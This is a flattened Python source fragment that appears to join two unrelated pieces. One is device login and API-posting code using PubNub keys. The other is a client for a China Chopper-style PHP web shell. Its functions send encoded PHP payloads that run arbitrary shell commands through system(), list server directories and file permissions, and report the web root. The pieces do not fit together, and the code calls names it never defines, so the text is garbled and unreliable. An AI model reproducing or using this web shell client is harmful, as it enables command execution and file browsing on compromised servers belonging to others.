def sendDataToApi(data): response = post_data(API_SEND_DATA_URL, body=json.dumps(data), headers={ "Authorization": "Bearer %s" % token, "Content-Type": "application/json" })
def init_filemanager(url): z0 = '''@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();''' pwd = request.post_data(url, z0=z0) pwd = data.search(pwd).group("res") pwd = pwd.strip() if not pwd.endswith('/'): pwd += '/' return pwd
def init_cmd(url): z0 = '''@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();''' pwd = request.post_data(url, z0=z0) content = data.search(pwd).group('res') pwd = content.strip() + '/' content = pwd pwd = "[%s]$ " % pwd return content, pwd
def login(): global token, subscribe_key, publish_key, uuid, CHANNEL data = post_data(API_LOGIN_URL, body={ 'username': API_SELF_DEVICE_USERNAME, 'password': API_SELF_DEVICE_PASSWORD }) token = data['data'] subscribe_key = data['infodevice']['suscribe_key_pubnub'] publish_key = data['infodevice']['publish_key_pubnub'] uuid = data['infodevice']['uuid_key_pubnub'] CHANNEL = data['infodevice']['channel_pubnub'] pubnub.pubnub_connection(subscribe_key, publish_key, uuid, CHANNEL) print("dispositivo auntenticado")
def run_cmd(url,cmd): z0 = '''@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";$r="{$p} {$c}";@system($r." 2>&1");;echo("|<-");die();''' z1 = "/bin/sh" z2 = 'cd "/var/www/";%s;echo [S];pwd;echo [E]' % (cmd,) #print z0,z1,z2 output = request.post_data(url, z0=z0, z1=z1, z2=z2) output = output.replace('\n','') #print output g = data_pwd.search(output) content, pwd = g.group('res'), g.group('pwd') pwd = "[%s/]$ " % pwd.strip() return content, pwd
def get_path(url, path): z0 = '''@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."|";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();''' z1 = path res = request.post_data(url,z0=z0,z1=z1) res = data.search(res).group("res") #print res res = res.split('|') res_dirs = [] res_files = [] for r in res: r = r.split('\t') if r[0]: if r[0].endswith('/') and r[0] != './' and r[0] != '../': res_dirs.append(r) else: res_files.append(r) res_dirs.sort() res_files.sort() return res_dirs,res_files